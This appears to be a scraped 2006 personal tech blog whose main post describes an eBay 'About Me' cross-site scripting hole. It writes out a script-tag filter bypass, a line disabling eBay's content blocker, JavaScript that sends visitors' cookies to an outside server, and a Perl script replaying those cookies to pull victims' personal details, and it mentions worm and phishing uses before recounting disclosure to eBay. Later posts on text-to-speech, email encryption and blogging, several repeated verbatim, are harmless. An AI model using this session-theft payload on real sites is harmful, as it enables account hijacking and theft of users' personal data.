Selling cookie info to third-parties is a classic example of you can make money without doing evil.
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eBay XSS

2006/09/29 filed under /web

Sometimes, when someone bugs you, you'll like to see how to bypass the bugging. I am not alone in this, take for example, BugMeNot

A few days ago, I had to figure out a way to put the right information at an eBay About Me page concerning an eBay store.

The easiest would be to redirect the user to the official website, yet eBay doesn't allow that kind of JavaScript to be put on there. A link could be put up, but that wouldn't be nice, for you'd force the user to click on it, before showing the real content. Blocking the JavaScript I "needed" was promising. How to bypass that? Soon I found out, but then I figured more was probably possible.

Time to refresh my knowledge and try a few things. An easy hack was to use this piece of code:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT 
SRC="http://yourserver.com/evilness.js"></SCRIPT>

Now we could do a little more, the easy way. Including a JavaScript file would speed up the whole debugging of the site. Too bad, a lot of stuff would still be blocked, but that blocking was done by JavaScript itself! Time to disable the block. So in my evilness.js I would start with:

ebay.oDocument._getControl("blockActiveContent").aBlocks = Array();

Now the active block content would be an empty array, meaning, we can insert anything we like, like iframes, document.cookie and everything. Yay!

So, why not grab the user's cookies and put that in a form?

document.write('<form action="http://yourserver.com/ebay.evilness.pl" ');
document.write('id="f" method="post"');
document.write('<input type="hidden" name="q" value="" id="q" />');
document.write('</form>');

var q = document.getElementById('q').value = document.cookie;

document.getElementById('f').submit();

Sweet, now the user will be submitting a form with his cookie contents to us. Let's see if we can use that information! (Of course we can, otherwise I wouldn't be blogging this ;-)

#!/usr/bin/perl

use strict;
use CGI qw/:standard/;
use LWP::Simple qw/$ua get/;

my $q = new CGI;

$ua->default_headers->push_header('Cookie' => $q->param('q'));

my $personal_info = get('http://my.ebay.com/ws/eBayISAPI.dll?'.
                        'MyeBay&CurrentPage=MyeBayPersonalInfo');

That's basically all it takes to retrieve the personal page of the user who just fell in our trap. Using his cookies, we'll be served with all his information (email address, street address, username etc). Of course we could make this into a worm, by putting the little javascript form into the victim's About Me page too.

I don't really care about all of this information, and for "the good stuff" such as passwords and credit card info, you'd still need the password of the user, but hey, we already have his full address (usually with full name), his email address and username, so a phising site is setup in seconds!

... I wonder how many people use the same password on eBay and PayPal ...

Note: all of this is created just for the fun of bypassing roadblocks, and I expect eBay to terminate your account immediately after finding stuff like this in you profile, so I do not advice you to use such tactics! Another thing is that your "victim" has to be logged in for this, but a lot of them will be.

Of course, I have contacted eBay on this exploit and wrote them the following:

Dear sirs,

Recently I noticed I was able to use JavaScript on my 'About Me' page, using a XSS tactic. This way, I was able to pass on cookies to a third party server (mine in this matter) and use those cookies from there to access information about the user account.

I have tested this setup as I describe here: http://url and it does work flawlessly. I could gather username, address, email info from my own account aswell as some friends' accounts (with their coorperation and permission). I also think I'd be able to make a worm out of this, infecting every visitor's 'About Me' page.

The solution, IMHO, is quite easy. Stop allowing JavaScript in the About Me page and actually filter it out before you store it in the databases.

I would like to hear from you regarding this privacy matter and will not post this blog entry (see URL above) as of yet, to prevent script kiddies from abusing it. I will post it on Monday, leaving you with enough time to contact me.

If you do need more time for patching the system, I'm willing to wait even longer before posting the info on my blog.

Kind Regards,

How nice of me. But unfortunately, I haven't head from eBay so far, except for scanning my system from a few different IP addresses. Now, according to eBay time it's monday now, so let's unleash this information!

I really thought eBay would care enough about your privacy, yet they don't even have the decency to email me ...

Update: After publication on WebWereld, eBay finally deemed it necessary to email me. They claim never to have received my initial email. Weird, cause my website logs show me that at least 4 different IP addresses have requested the "secret" URL I created for them. So I guess at least four people didn't receive my email ...

This hole is patched for now, yet a simple alert('Hello World') can still be posted, so JavaScript has not been disabled fully.

Posted by: B10m | permanent link | comments (3)

Goodbye festival!

2006/09/16 filed under /linux

Every morning, I find myself making breakfast as fast as possible, so I can check on the traffic jam situation, weather forecast and emails. Why not let my computer talk to me, while I prepare breakfast?

People who use Linux and are interested in text-to-speech all know festival. It's fun for a while, yet not too useful in my humble opinion, because I (and others) have problems understanding the text.

So I went to look for other software and found Cepstral.

The voices are audible, the "effects" are funny and it's easy to teach your voice how to pronounce words (names can be a problem). The only drawback: it's not for free (except for the demos).

My first bet was to write a script around the demos, thinking it'd be very expensive. But when I found out you can get a license for a mere 30 USD, I dropped my script and went for it.

I registered the voice "Callie" and am impressed by her. The quality is so much better than festival. Woohoo, awesome!

So, for the people who have nothing else to do, feel free to listen to Callie reading this entry :-)

Posted by: B10m | permanent link | comments (0)

Goodbye festival!

2006/09/16 filed under /software

Every morning, I find myself making breakfast as fast as possible, so I can check on the traffic jam situation, weather forecast and emails. Why not let my computer talk to me, while I prepare breakfast?

People who use Linux and are interested in text-to-speech all know festival. It's fun for a while, yet not too useful in my humble opinion, because I (and others) have problems understanding the text.

So I went to look for other software and found Cepstral.

The voices are audible, the "effects" are funny and it's easy to teach your voice how to pronounce words (names can be a problem). The only drawback: it's not for free (except for the demos).

My first bet was to write a script around the demos, thinking it'd be very expensive. But when I found out you can get a license for a mere 30 USD, I dropped my script and went for it.

I registered the voice "Callie" and am impressed by her. The quality is so much better than festival. Woohoo, awesome!

So, for the people who have nothing else to do, feel free to listen to Callie reading this entry :-)

Posted by: B10m | permanent link | comments (2)

Use encryption!

2006/09/14 filed under /software

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (0)

Use encryption!

2006/09/14 filed under /web

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (0)

Use encryption!

2006/09/14 filed under /random_thoughts

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (1)

Like Better

2006/09/13 filed under /web

likebetter.com is a site that shows you two pictures at a time. Of these two images, you will have to pick the one you like better (hence the name, I figure ;-)

After some clicking, the site thinks to know you a little. The brain image will turn pink. Clicking on that will show you what it found out about you.

Well, either the site is seriously flawed, or I am not an open book, but after a lot of clicking, it only turned up with one right assumption: I do like to study with music in the background. It was wrong in thinking I'm a girl, have conservative political views, got a rather good education and a lot more...

Assuming this analysis will get better over time, I'll check it out more later. Fun for sure!

Posted by: B10m | permanent link | comments (0)

Header Images

2006/09/09 filed under /blog

Since my blog no longer consists of static HTML files, I've decided to also give it a somewhat random header image (on which I display the name and title of this blog).

For this task, I set up a horribly simple Perl script, that will display the images at random.

These images were used (so far, expect more in the future). I took the pictures myself, during various vacations.

Kölner Dom, Köln, Germany

Construction of the Gothic church began in 1248 and took, with interruptions, more than 600 years to complete - it was finally finished in 1880. The two towers are 157 m tall, the cathedral is 144 m long and 86 m wide. The cathedral is dedicated to Saints Peter and Mary.

Source: Wikipedia

I took this picture of the great cathedral at 2005/02/19.

Senggigi, Lombok, Indonesia

The island of Lombok is located east of Bali. Lombok is now becoming the perfect getaway for travellers, honeymooners or those who return again and again. Escape to picturesque mountainside landscapes to white sand beaches of the Gili Islands.

Source: Lombok Indonesia

I took this picture of the sunset looking at Bali's Gunung Agung at 2005/07/06. The colors are a little altered in the header image.

Prambanan, Yogyakarta, Indonesia

The Prambanan temple is the biggest and a most beautiful Hindu temple about 20 minutes from Yogyakarta city. This magnificent Shivaite temple derives its name from the village where it is located. Locally known as the Loro Jongrang temple, or the temple of the "Slender Virgin" it is reputed to be the biggest and most beautiful Hindu Temple in Indonesia.

Source: Prambanan Temple

This picture is taken of one of the temple's entrances. It was taken at 2006/06/30. Prambanan Temple is lesser known than the Buddhist Borobudur, yet more beautiful, in my humble opinion.

Willingen (Sauerland), Germany

Well-kept, prepared pistes for runs at breakneck speed, prepared cross country tracks across snowy woods, romantic winter walking paths or a ride with the horse-sleigh, these are the dreams of the small and big "ski rabbits", coming through here in de Worldcup village Willingen.

Source: Willingen

Willingen is close to the Netherlands, and quite fun in the wintertime, if you like skiing and other snow activities. This picture was taken at 2006/03/18, and was mirrored horizontally, so my blog's name came out better.

Kostnice Sedlec, Kutná Hora, Czech Republic

A cistercian monastery was founded near here in the year 1142. One of the principal tasks of the monks was the cultivation of the grounds and lands around the monastery.

Source: Kostnice Ossuary Beinhaus

A truely grim environment that I've blogged about before. The header image was taken on 2006/07/06 and I've edited the colors slightly, to give it an even more scary appearance.

The Great Sphinx, Giza, Egypt

In a depression to the south of Khafre's pyramid at Giza near Cairo sits a huge creature with the head of a human and a lion's body. This monumental statue, the first truly colossal royal sculpture in Egypt, known as the Great Sphinx, is a national symbol of Egypt, both ancient and modern.

Source: The Great Sphinx of Giza

Does the image needs any introduction? Everyone knows it, and everyone who's been to Giza, has this picture ... Mine was taken on 2004/12/23.

Purah Tanah Lot, Bali, Indonesia

Tanah Lot, with its magical-sounding name, is the stuff of postcards and travel posters. Perched on a rocky outcrop at the sea's edge, the temple is accessible only to Hindus, and evidently only to those associated with the temple. Tanah Lot is one of the most sacred temples in all of Bali. Apparently at one time the temple had been open to visitors, but because of the disrespect shown by a lot of tourists - not dressing appropriately in sarongs, and snapping holiday shots of the priests at prayer - upset the normally patient and tolerant Balinese to the point that they made the temple off-limits.

Source: Tanah Lot - Magic by the Sea

This beautiful Hindu temple can be found on Bali. The picture was taken at 2005/07/02.

So, now you know where these images come from. I'm not a great photographer, but I think the pictures are nice enough to become header images for my blog.

Posted by: B10m | permanent link | comments (0)

Last blog post

2006/09/08 filed under /personal

Yes, it's official, this will be the last blog entry from me ...

... using NanoBlogger. I've made the switch to Blosxom for a couple of reasons. Mainly, NB is just too slow for my liking. I don't even have many entries, yet updating everything takes a long time and editing a post too...

Blosxom provides an easy way to hack up posts too, just like nb, yet it's not static. And hey, Blosxom is in Perl :-)

Anyways, update your RSS feeds.

Links:

Posted by: B10m | permanent link | comments (7)

Last blog post

2006/09/08 filed under /nanoblogger

Yes, it's official, this will be the last blog entry from me ...

... using NanoBlogger. I've made the switch to Blosxom for a couple of reasons. Mainly, NB is just too slow for my liking. I don't even have many entries, yet updating everything takes a long time and editing a post too...

Blosxom provides an easy way to hack up posts too, just like nb, yet it's not static. And hey, Blosxom is in Perl :-)

Anyways, update your RSS feeds.

Links:

Posted by: B10m | permanent link | comments (7)

Vicar b10m

2006/09/07 filed under /personal

Today I moved one step up on the Perlmonks ladder and I may now call myself Vicar b10m.

perlmonks.org screendump

Not that it means anything, but hey, I'm a so called "XP whore" ;-)

Posted by: B10m | permanent link | comments (0)
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